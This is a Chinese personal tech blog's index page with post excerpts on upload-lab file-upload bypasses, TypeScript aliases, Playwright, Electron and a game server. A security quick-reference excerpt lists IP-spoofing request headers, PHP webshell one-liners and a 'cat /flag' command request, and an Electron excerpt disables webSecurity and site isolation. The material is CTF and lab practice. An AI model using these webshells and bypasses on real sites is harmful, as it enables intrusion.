我的GitHub
0%

文件上传是个经典问题

推荐靶场:upload-labs

我们可以在这个靶场中进行文件上传绕过的练习

先说webshell,我们写个一句话木马先

这里留个大哥若干年前的总结 webshell一句话木马大全

接下来我们聊聊文件上传的漏洞

一.啥防护没有

直接一句话木马上传就完事了

二.前端文件后缀判断

打开开发者工具,提交文件,看是否存在网络请求

阅读全文 »

背景

好久没写前端的东西了,正好前段时间写typescript时用alias遇到了一些问题,今天来聊一聊。

alias

其实用web框架写应用的时候用的很多啊

比如层级很深的时候

1
import aa from "../../../utils/index"

通过配置alias,比如把根目录配置成@就会写成

1
import aa from "@/utils/index"

这样

具体的路径就不演示了,大家应该都能明白,都用过。

阅读全文 »

信息备注自己快查

记录来自哪个网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
X-Forwarded-For:127.0.0.1

X-Forwarded:127.0.0.1

Forwarded-For:127.0.0.1

Forwarded:127.0.0.1

X-Forwarded-Host:127.0.0.1

X-remote-IP:127.0.0.1

X-remote-addr:127.0.0.1

True-Client-IP:127.0.0.1

X-Client-IP:127.0.0.1

Client-IP:127.0.0.1

X-Real-IP:127.0.0.1

Ali-CDN-Real-IP:127.0.0.1

Cdn-Src-Ip:127.0.0.1

Cdn-Real-Ip:127.0.0.1

CF-Connecting-IP:127.0.0.1

X-Cluster-Client-IP:127.0.0.1

WL-Proxy-Client-IP:127.0.0.1

Proxy-Client-IP:127.0.0.1

Fastly-Client-Ip:127.0.0.1

True-Client-Ip:127.0.0.1

Host: 127.0.0.1

Hackbar

php请求

postform,&符分割,System里面可以任意写

1
eval(system($_POST['cmd'])); 
1
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

postform,&符分割,System里面可以任意写

1
eval($_POST['cmd']); 
阅读全文 »

这次我们来聊一聊playwright的一些配置项

一、登录保存数据

网站每次都要登录,很烦,没必要

所以我们登录之后,可以把cookie或者session什么的保存起来

下次登录再把数据注入

这样就不用再登录了

1.先正常登录

就写代码登录

2.保存数据

通过context.storageState保存数据到本地文件
例如:

阅读全文 »

写在前面

好久没写playwright的相关内容了,但最近用的还是挺多的,有些常见的问题,决定还是写下来。

内网安装

我所在的公司内网是不联网的,只有一个npm私有源,并且上游源是需要通过审批才能更新的。

说人话就是,有的包有,有的包没有,没有的包也没办法从上游源拉取。

幸运的是,有playwright的低版本。

不幸的是,安装过程中需要安装若干浏览器内核,在内网是无法下载的。

不过更幸运的是,在掘金随手点开的一篇文章,看到有人提到了这个。

对作者表示感谢。

这里引用一下。

阅读全文 »

一、背景

一个偶然的情况,帮一个朋友写个小工具

需要内嵌用到iframe,并使用document提取其中的一些dom元素

二、报错

好像是这个,记不清楚了=。=

1
Blocked a frame with origin "***" form accessing a cross-origin frame.

三、解决

入口添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.commandLine.appendSwitch('disable-site-isolation-trials');


// ***
new BrowserWindow({
// ***
webPreferences: {
// ***
nodeIntegration: true,
contextIsolation: false,
webSecurity: false,
allowRunningInsecureContent: true
},
})

四、正常拿dom

阅读全文 »

一、背景

很久没写bug了,最近写了一些业务上的小工具,因为包有点大,所以要裁一下。

首选其实就是去掉不需要的语言文件

二、如何实现

2.1 添加默认语言

electron的入口文件添加

1
app.commandLine.appendSwitch('lang', 'zh-CN');

2.2 在打包后的钩子处脚本删除

比如我使用的是electron-builder,可以在打包配置文件中找到afterPack这个配置项

配置读取的脚本文件如下:

阅读全文 »

我们来讲讲,已经启动的服务器,怎么配置mod

一.暂停饥荒服务

通过netstatkill把服务器暂停先.

二.解析各个文件夹

1.dstsave

1
2
cd /home/dstsave/dst/World1
ls

里面包含两个两个文件夹Master``Caves

前面说过,Master为主世界,Caves为洞穴

实际上两个文件夹里的内容都差不多,我们这里只说mod相关配置

1
2
3
# 修改的话,最好Master和Caves两者同步修改,这里以Master为例
cd Master
vim ./modoverrides.lua
阅读全文 »

背景

一个朋友喜欢玩饥荒,但是总是一个人没意思

联机版又不会搭房间,去淘宝租服务器一个月20起步

本着友好助人的美好品德

帮朋友买了台2G4H 4M的服务器,一年才260,房间我负责搭,平时闲置的服务器我随便用

我可真是个乐于助人的好人

我们先选Centos7,然后开动

服务器安全组开放端口

服务器安全组把20-21,60000-60100放开,10998-10999为饥荒端口,也放开

一.搭FTP

阅读全文 »

背景

工作上有些视频学习任务,一天到晚要看视频学习;

关键还不能倍速,连播,非要手动点击下一个,非常苦恼。还时不时还跳一个弹窗出来,不回答就不继续播放,挂机都不行。

技术选型

selenium,还用说吗?妥妥的大哥大

PlayWright,微软的新生儿

所以我选PlayWright

在Linux上安装edge

问题来了,为什么要装edgechrome不香么?

但是有一个问题啊,通过chromedriver调起来的是chromiumchromium默认不支持MP4封装h264编码的视频,默认只支持google自家的webm封装的VP9编码视频。

阅读全文 »